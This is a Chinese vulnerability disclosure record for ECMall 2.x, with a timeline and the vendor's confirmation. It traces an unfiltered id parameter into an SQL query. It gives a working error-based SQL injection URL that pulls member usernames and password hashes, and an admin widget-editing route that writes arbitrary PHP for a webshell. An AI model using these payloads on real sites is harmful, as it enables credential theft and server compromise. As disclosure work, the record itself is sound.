漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:ecmall 2.x通杀SQL注入至后台getshell
提交时间:2013-09-18 22:39
修复时间:2013-12-17 22:40
公开时间:2013-12-17 22:40
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
Tags标签:
无
漏洞详情 披露状态:
2013-09-18: 细节已通知厂商并且等待厂商处理中 2013-09-20: 厂商已经确认,细节仅向厂商公开 2013-09-23: 细节向第三方安全合作伙伴开放 2013-11-14: 细节向核心白帽子及相关领域专家公开 2013-11-24: 细节向普通白帽子公开 2013-12-04: 细节向实习白帽子公开 2013-12-17: 细节向公众公开
简要描述: ecmall 2.x通杀SQL注入至后台getshell
详细说明: app/buyer_groupbuy.app.php
function exit_group() { $id = empty($_GET['id']) ? 0 : $_GET['id']; //没过滤你懂的。 if (!$id) { $this->show_warning('no_such_groupbuy'); return false; } // 判断是否能退团 if (!$this->_ican($id, ACT)) //跟进 { $this->show_warning('Hacking Attempt'); return; } ...... } function _ican($id, $act = '') { ...... $group = current($this->_member_mod->getRelatedData('join_groupbuy', $this->visitor->info['user_id'], array( 'conditions' => 'gb.group_id=' . $id, //带入 'order' => 'gb.group_id DESC', 'fields' => 'gb.state,groupbuy_log.order_id' ))); ...... }
eccore/model/mode.base.php
function getRelatedData($relation_name, $ids, $find_param = array()) { ...... /* 构造查询条件 */ $conditions = $alias . '.' . $relation_info['foreign_key'] . ' ' . db_create_in($ids); //主键值限定 $conditions .= $relation_info['ext_limit'] ? ' AND ' . $this->_getExtLimit($relation_info['ext_limit'], $alias) : ''; $conditions .= is_string($find_param['conditions']) ? ' AND ' . $find_param['conditions'] : ''; $find_param['conditions'] = $conditions; //带入 ...... return $model->find($find_param);//跟进 } function find($params = array()) { extract($this->_initFindParams($params)); /* 字段(SELECT FROM) */ $fields = $this->getRealFields($fields); $fields == '' && $fields = '*'; $tables = $this->table . ' ' . $this->alias; /* 左联结(LEFT JOIN) */ $join_result = $this->_joinModel($tables, $join); /* 原来为($join_result || $index_key),忘了最初的用意,默认加上主键应该是只为了为获得索引的数组服务的,因此只跟索引键是否是主键有关 */ if ($index_key == $this->prikey || (is_array($index_key) && in_array($this->prikey, $index_key))) { /* 如果索引键里有主键,则默认在要查询字段后加上主键 */ $fields .= ",{$this->alias}.{$this->prikey}"; } /* 条件(WHERE) */ $conditions = $this->_getConditions($conditions, true); /* 排序(ORDER BY) */ $order && $order = ' ORDER BY ' . $this->getRealFields($order); /* 分页(LIMIT) */ $limit && $limit = ' LIMIT ' . $limit; if ($count) { $this->_updateLastQueryCount("SELECT COUNT(*) as c FROM {$tables}{$conditions}"); } /* 完整的SQL */ $sql = "SELECT {$fields} FROM {$tables}{$conditions}{$order}{$limit}"; return $index_key ? $this->db->getAllWithIndex($sql, $index_key) : $this->db->getAll($sql); //带入查询,结束. }
http://localhost/ecmall/index.php?app=buyer_groupbuy&act=exit_group&id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b 后台GETSHELL的话就太多了没细看,因为是后台权限没多少用,只举一列.
function edit() { $name = empty($_GET['name']) ? 0 : trim($_GET['name']); if (!$name) { $this->show_warning('no_such_widget'); return; } $script_file = $this->_get_file($name, $_GET['file']); if (!IS_POST) { $this->assign('code', file_get_contents($script_file)); $this->display('widget.form.html'); } else { if (!file_put_contents($script_file, stripslashes($_POST['code']))) { $this->show_warning('edit_file_failed'); return; } $this->show_message('edit_file_successed'); } } function _get_file($name, $type = 'script') { $file = ROOT_PATH . '/external/widgets/' . $name; switch ($type) { case 'script': return $file . '/main.widget.php'; break; case 'template': return $file . '/widget.html'; break; } }
直接访问http://localhost/ecmall/admin/index.php?app=widget&act=edit&name=advt&file=script修改就行,对应的地址是http://localhost/ecmall/external/widgets/advt/main.widget.php
漏洞证明: 修复方案: 漏洞回应 厂商回应: 危害等级:高
漏洞Rank:16
确认时间:2013-09-20 11:43
厂商回复: 非常感谢您为shopex信息安全做的贡献 我们将尽快修复 非常感谢
最新状态: 暂无